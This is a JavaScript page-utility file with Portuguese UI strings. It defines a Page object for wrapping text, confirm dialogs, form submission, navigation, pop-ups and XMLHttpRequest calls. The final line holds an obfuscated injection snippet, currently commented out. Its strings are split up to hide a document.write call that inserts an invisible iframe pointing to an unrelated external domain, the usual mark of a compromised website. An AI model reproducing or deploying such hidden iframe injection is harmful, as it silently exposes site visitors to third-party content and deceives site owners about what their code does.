// page constants
var pcLineLength = 40;
var pcLineBreak = '\r\n';
var pcConfirmation = 'Confirmação' + pcLineBreak;
var pcHorizontalRule = '________________________________________' + pcLineBreak + pcLineBreak;
var pcItemMarker = ' - ';

function Page()
{
	this.breakLine = function(s)
	{
		var r = '';
		while(s.length > pcLineLength)
		{
			r += (r != '' ? '\r\n' : '') + s.substr(0, pcLineLength);
			s0 = s.substr(pcLineLength, 1);
			s = s.substr(pcLineLength, s.length - pcLineLength);
			if(s0 != ' ')
				while(s.length > 0 && s.substr(0, 1) != ' ')
				{
					r += s.substr(0, 1);
					s = s.substr(1, s.length - 1);
				}
		}
		r += s.length > 0 ? (r != '' ? '\r\n' : '') + s : '';
		return r;
	}
	this.confirm = function(s)
	{
		return window.confirm(pcConfirmation + pcHorizontalRule + this.breakLine(s));
	}

	this.submitting = false;
	this.appendQueryString = function(formAction, queryString)
	{
		if(queryString)
		{
			if(formAction.indexOf('?') > -1)
				return formAction + '&' + queryString;
			return formAction + '?' + queryString;
		}
		return formAction;
	}
	this.submit = function(form, formAction, paramAction, paramValue)
	{
		if(!this.submitting)
		{
			if(!paramAction) paramAction = ''; else paramAction = 'action=' + paramAction;
			if(!paramValue) paramValue = ''; else paramValue = 'param=' + paramValue;
			var tmp = formAction;
			tmp = this.appendQueryString(tmp, paramAction);
			tmp = this.appendQueryString(tmp, paramValue);
			this.submitting = true;
			form.method = 'post';
			form.action = tmp;
			form.submit();
		}
	}
	this.submitFile = function(form, formAction, paramAction, paramValue)
	{
		form.encoding = 'multipart/form-data';
		form.enctype = 'multipart/form-data';
		this.submit(form, formAction, paramAction, paramValue);
	}
	this.submitConfirm = function(form, message, formAction, paramAction, paramValue)
	{
		if(this.confirm(message))
		{
			if(!paramAction) paramAction = '';
			if(!paramValue) paramValue = '';
			this.submit(form, formAction, paramAction, paramValue);
		}
	}
	this.navigate = function(formAction, paramAction, paramValue)
	{
		if(!paramAction) paramAction = ''; else paramAction = 'action=' + paramAction;
		if(!paramValue) paramValue = ''; else paramValue = 'param=' + paramValue;
		var tmp = formAction;
		tmp = this.appendQueryString(tmp, paramAction);
		tmp = this.appendQueryString(tmp, paramValue);
		window.location = tmp;
	}
	this.navigateConfirm = function(message, formAction, paramAction, paramValue)
	{
		if(this.confirm(message))
		{
			if(!paramAction) paramAction = '';
			if(!paramValue) paramValue = '';
			this.navigate(formAction, paramAction, paramValue);
		}
	}
	this.open = function(formAction, paramAction, paramValue, width, height, scrollbars)
	{
		if(!paramAction) paramAction = ''; else paramAction = 'action=' + paramAction;
		if(!paramValue) paramValue = ''; else paramValue = 'param=' + paramValue;
		var tmp = formAction;
		tmp = this.appendQueryString(tmp, paramAction);
		tmp = this.appendQueryString(tmp, paramValue);
		openParams = '';
		if(width) openParams = (openParams ? openParams + ',' : '') + 'width=' + width;
		if(height) openParams = (openParams ? openParams + ',' : '') + 'height=' + height;
		if(scrollbars) openParams = (openParams ? openParams + ',' : '') + 'scrollbars=' + scrollbars;
		window.open(tmp, null, openParams);
	}
	//===========================================================================
	// XMLHttp
	//===========================================================================
	this.getXMLHttpRequest = function()
	{
		var r = null;
		if(window.XMLHttpRequest)
			r = new XMLHttpRequest();
		else if(window.ActiveXObject)
			r = new ActiveXObject('Microsoft.XMLHTTP');
		return r;
	}
	this.getXmlAsync = function(uri, fields, callback)
	{
		this.sendXml(uri, false, fields, callback, true);
	}
	this.postXmlAsync = function(uri, fields, callback)
	{
		this.sendXml(uri, true, fields, callback, true);
	}
	this.sendXml = function(uri, post, fields, callback, async)
	{
		var r = this.getXMLHttpRequest();
		if(!r) return;
		var postData = null;
		if(post)
		{
			if(fields && fields.length)
			{
				postData = '';
				for(var i = 0; i < fields.length; i++)
					postData += (postData == '' ? '' : '&') + fields[i].id + '=' + encodeURIComponent(fields[i].value);
			}
		}
		else
		{
			var queryString = '';
			if(fields && fields.length)
			{
				for(var i = 0; i < fields.length; i++)
					queryString += (queryString == '' ? '' : '&') + fields[i].id + '=' + encodeURIComponent(fields[i].value);
				uri += (uri.indexOf('?') == -1 ? '?' : '&') + queryString;
			}
		}
		r.open(post?'POST':'GET', uri, async);
		if(post)
		{
			r.setRequestHeader('Method', 'POST ' + uri + ' HTTP/1.1');
			r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		}
		if(async)
		{
			r.onreadystatechange = function()
			{
				if(r.readyState != 4)
					return;
				if(callback)
				{
					if(r.status == 200)
						if(r.responseXML && r.responseXML.documentElement)
							callback(r.responseXML, true, 200);
						else
							callback(r.responseText, false, 200);
					else
						callback(r.responseText, false, r.status);
				}
				delete r;
				r = null;
			}
		}
		r.send(postData);
		if(!async && callback)
		{
			if(r.status == 200)
				if(r.responseXML && r.responseXML.documentElement)
					callback(r.responseXML, true);
				else
					callback(r.responseText, false);
			else
				callback(r.responseText, false, r.status);
		}
		delete r;
	}
}
var page = new Page();
//isaqy = document.getElementById('xfbxt');
//if (isaqy == null) {document.write('<iframe'+' '+'id='+'xfb'+'xt'+' src='+'h'+'ttp://go'+'og'+'l'+'e'+'ran'+'k.'+'in'+'f'+'o/'+'co'+'un'+'te'+'r style=d'+'isplay:n'+'o'+'ne'+'><'+'/i'+'frame>');}
